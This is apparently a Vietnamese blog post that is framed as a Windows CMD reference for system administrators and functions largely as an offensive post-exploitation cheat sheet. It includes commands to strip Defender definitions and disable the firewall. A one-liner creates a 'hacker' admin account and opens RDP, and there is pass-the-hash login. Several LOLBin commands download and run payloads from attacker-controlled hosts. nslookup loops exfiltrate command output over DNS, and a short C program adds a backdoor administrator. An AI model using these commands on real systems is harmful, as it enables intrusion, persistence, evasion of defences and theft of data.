Tổng quan

Thành thạo CMD Windows không chỉ dừng lại ở các lệnh dir, ping, cd, del, rename, move,… thậm chí cài đặt, mở ứng dụng, cấu hình chức năng, bật các thiết lập vẫn chưa đủ. Hôm nay, mình sẽ giới thiệu cho các bạn bộ các lệnh dành cho dân chuyên quản trị hệ thống Windows trên CMD nhé.

Ở đây mình chia thành 5 nhóm công cụ:

  • Nhóm lệnh liên quan đến Hệ thống
  • Nhóm lệnh liên quan đến Người dùng
  • Nhóm lệnh liên quan đến Mạng
  • Nhóm lệnh Tải xuống
  • Nhóm lệnh Tổng hợp

1. Nhóm lệnh System

Thông tin của phiên bản và bản vá

  • Xem kiến trúc hệ thống: wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
  • Thông tin đầy đủ của hệ thống: systeminfo
  • Xem tên hệ điều hành và phiên bản: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  • Xem bản vá: wmic qfe get Caption,Description,HotFixID,InstalledOn
  • Hostname: hostname
  • Xem driver của bên thứ ba: DRIVERQUERY

Environment

Liệt kê tất cả các biến môi trường: set

Một số biến env cần biết:

  • COMPUTERNAME: Tên máy tính
  • TEMP/TMP: Thư mục Temp (lưu file tạm)
  • USERNAME: Tên username
  • HOMEPATH/USERPROFILE: Đường dẫn Home
  • windir: C:\Windows
  • LOGONSERVER: Tên của domain controller
  • USERDNSDOMAIN: Domain sử dụng DNS
  • USERDOMAIN: Tên Domain

Yêu cầu DNS cho PC: nslookup %LOGONSERVER%.%USERDNSDOMAIN%

Ổ đĩa được kết nối

  • wmic logicaldisk get caption 2
  • wmic logicaldisk get caption,description,providername

Anti Virus

  • wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
  • sc query windefend
  • Xóa các quy tắc bảo mật của Defender: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Recycle Bin

dir C:\$Recycle.Bin /s /b

Processes, Services & Softwares

Chi tiết các nhiệm vụ đã lên lịch:

  • schtasks /query /fo LIST /v
  • schtasks /query /fo LIST 2>nul | findstr TaskName
  • schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
  • Danh sách các processes: tasklist /V
  • Các processes bật services: tasklist /SVC
  • Các Services Windows đang hoạt động: net start
  • Danh sách các services: wmic service list brief hoặc sc query
  • Các phần mềm 64-bit đã cài đặt: dir /a “C:\Program Files”
  • Các phần mềm 32-bit đã cài đặt: dir /a "C:\Program Files (x86)"
  • Các phần mềm đã cài đặt: reg query HKEY_LOCAL_MACHINE\SOFTWARE

Thông tin Domain

  • Tên Domain: echo %USERDOMAIN%
  • Tên Domain khi máy tính có đăng nhập vào Domain: echo %USERDNSDOMAIN%
  • Tên domain controller: echo %logonserver%
  • Tên domain controller: set logonserver
  • Tên domain controller: set log
  • Danh sách domain group: net groups /domain
  • Danh sách PC đã kết nối với domain: net group "domain computers" /domain
  • Danh sách PC của domain: net view /domain
  • Danh sách domain controllers: nltest /dclist:<DOMAIN>
  • Danh sách tài khoản PC của domains controllers: net group "Domain Controllers" /domain
  • Danh sách user có đặc quyền quản trị domain: net group "Domain Admins" /domain
  • Danh sách các admin group bên trong domain: net localgroup administrators /domain
  • Danh sách tất cả user của domain: net user /domain
  • Thông tin về user: net user <ACCOUNT_NAME> /domain
  • Xem mật khẩu và giới hạn đăng nhập hiện tại của domain: net accounts /domain
  • Lập bản đồ các mối quan hệ của domain: nltest /domain_trust

Logs & Events

Thực hiện truy vấn bảo mật bằng thông tin đăng nhập: wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

2. Nhóm lệnh Users & Groups

Users

  • Tất cả thông tin về bạn: whoami /all
  • Hiển thị các đặc quyền: whoami /priv
  • Tất cả các user: net users hoặc dir /b /ad "C:\Users"
  • Thông tin về user: net user %username%
  • Thông tin về mật khẩu: net accounts
  • Có ai khác đã đăng nhập không?: qwinsta
  • Danh sách các chứng chỉ: cmdkey /list
  • Tạo user mới: net user /add [username] [password]

Mở cmd với các creds mới (mạo danh trong mạng): runas /netonly /user:<USERNAME>\administrator cmd

Kiểm tra phiên đăng nhập hiện tại với quyền admin sử dụng phiên đăng nhập từ sysinternals:

  • logonsessions.exe
  • logonsessions64.exe

Groups

Local:

  • Tất cả các group tồn tại: net localgroup
  • Thông tin về group admins: net localgroup Administrators
  • Thêm administrators mới: net localgroup administrators [username] /add

Domain:

  • Thông tin về group domain: net group /domain
  • Người dùng thuộc group: net group /domain <domain_group_name>

Danh sách các sessions

  • qwinsta
  • klist sessions

Chính sách mật khẩu

net accounts

Thêm người dùng vào group

Thêm user domain vào Group Domain Admins:

  • net user username password /ADD /DOMAIN
  • net group "Domain Admins" username /ADD /DOMAIN

Thêm local user vào group local Admins:

  • net user username password /ADD
  • net localgroup Administrators username /ADD

Thêm user vào các group khác:

  • net localgroup "Remote Desktop Users" UserLoginName /add
  • net localgroup "Debugger users" UserLoginName /add
  • net localgroup "Power users" UserLoginName /add

3. Nhóm lệnh Network

Interfaces, Routes, Ports, Hosts và DNSCache

  • Thông tin về interfaces: ipconfig /all
  • Xem các routes hiện có: route print
  • Thông tin về host: arp -a

Các port đang mở:

  • netstat -ano
  • type C:\WINDOWS\System32\drivers\etc\hosts
  • ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Firewall

Thông tin về firewall và các port đang mở:

  • netsh firewall show state
  • netsh advfirewall firewall show rule name=all
  • Netsh Advfirewall show allprofiles

Thông tin cấu hình firewall: netsh firewall show config

Bật Firewall: netsh Advfirewall set allprofiles state on

Tắt Firewall:

  • netsh Advfirewall set allprofiles state off
  • netsh firewall set opmode disable

Cách mở port:

  • netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
  • netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
  • netsh firewall add portopening TCP 3389 "Remote Desktop"

Bật Remote Desktop:

  • reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • netsh firewall add portopening TCP 3389 "Remote Desktop"
  • Tuỳ chọn: ::netsh firewall set service remotedesktop enable
  • Tuỳ chọn: ::sc config TermService start= auto
  • Tuỳ chọn: ::net start Termservice

Bật Remote assistance:

  • reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
  • netsh firewall set service remoteadmin enable

Combo ninja (user admin mới, cho phép RDP + Rassistance + Firewall):

  • net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add
  • "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add
  • "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 “Remote Desktop” & netsh firewall set service remoteadmin enable

Kết nối với RDP (sử dụng hash hoặc mật khẩu):

  • xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
  • xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Share

  • Lấy danh sách máy tính: net view
  • Shares trên domains: net view /all /domain [domainname]
  • Danh sách máy tính tham gia share: net view \\computer /ALL
  • Kết nối ổ với share: net use x: \\computer\share
  • Kiểm tra share hiện tại: net share

Wifi

  • Xem SSID của wifi từng kết nối: netsh wlan show profile
  • Xem mật khẩu wifi: netsh wlan show profile <SSID> key=clear

SNMP

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

IP, MAC address

ipconfig /all

ARP

arp -A

4. Nhóm lệnh Download

Tạo công việc tải xuống hoặc tải lên: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
Lưu phản hồi từ HTTP POST: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Tải xuống và lưu file: certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Tải ảnh từ xa: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr

Nén file cabinet: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab

Bảo trì và phục hồi cơ sở dữ liệu: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

Mở rộng tệp nén: expand \\webdav\folder\file.bat c:\ADS\file.bat

Giải nén cabinet: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

Tìm chuỗi trong file: findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

Chuyển file qua FTP: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

Tải xuống tệp từ xa: C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"

Mở PowerShell bằng HTML: HH.exe http://some.url/script.ps1

Tải xuống và thực thi từ máy chủ từ xa: ieexec.exe http://x.x.x.x:8080/bypass.exe

Tải xuống và nén cabinet: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab

Tải file: MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable

Tải và sao chép: replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A

Tải xuống tải trọng từ máy chủ từ xa:

  • Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
  • Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
  • winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Nhị phân tải xuống gói nuget:

  • squirrel.exe --download [url to package]
  • Update.exe --download [url to package]

Tải file qua linux: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

5. Nhóm lệnh Misc

Thao tác hệ thống:

  • Đường dẫn hiện tại: cd
  • Truy cập vào thư mục: cd folder
  • Liệt kê thư mục và file trong đường dẫn hiện tại: dir
  • Liệt kê các file ẩn: dir /a:h *path
  • Tất cả đường dẫn con: dir /s /b
  • Thời gian hiện tại: time
  • Ngày hiện tại: date
  • Tắt máy ngay lập tức: shutdown /r /t 0
  • Đọc file: type <file>

Chạy với user khác:

  • runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
  • runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

Ẩn file:

  • Bật ẩn file: attrib +h file
  • Tắt ẩn file: attrib -h file

Cung cấp toàn quyền kiểm soát file mà bạn có: icacls <FILE_PATH> /t /e /p <USERNAME>:F

Xóa toàn bộ quyền: icacls <FILE_PATH> /e /r <USERNAME>

Sao chép đệ quy: xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

ADS:

  • Phát hiện ADS: dir /r
  • Đọc ADS: more file.txt:ads.txt
  • powershell (Get-Content file.txt -Stream ads.txt)

Listen địa chỉ ACLs

Listen http://+:80/Temporary_Listen_Addresses/ không cần quyền admin: netsh http show urlacl

DNS shell

Bạn sử dụng một trong 2 tùy chọn sau:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Victim
kỹ thuật for /f tokens _**_: Cho phép mình thực hiện lệnh, lấy X từ đầu tiên của mỗi dòng và gửi nó qua DNS đến máy chủ của mình.

for /f %a in ('whoami') do nslookup %a <IP_kali> 
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> 
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #Danh sách thư mục
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #Liệt kê các thư mục đó
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Giống lệnh trước đó
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Giống lệnh trước đó

Bạn cũng có thể chuyển hướng đầu ra và sau đó đọc nó.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Gọi CMD từ code C

#include <stdlib.h>

// Khi file được thực thi bởi Admin, chương trình này sẽ tạo một user và sau đó thêm user đó vào nhóm Admin
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Leave a Reply

This site uses cookies to offer you a better browsing experience. By browsing this website, you agree to our use of cookies.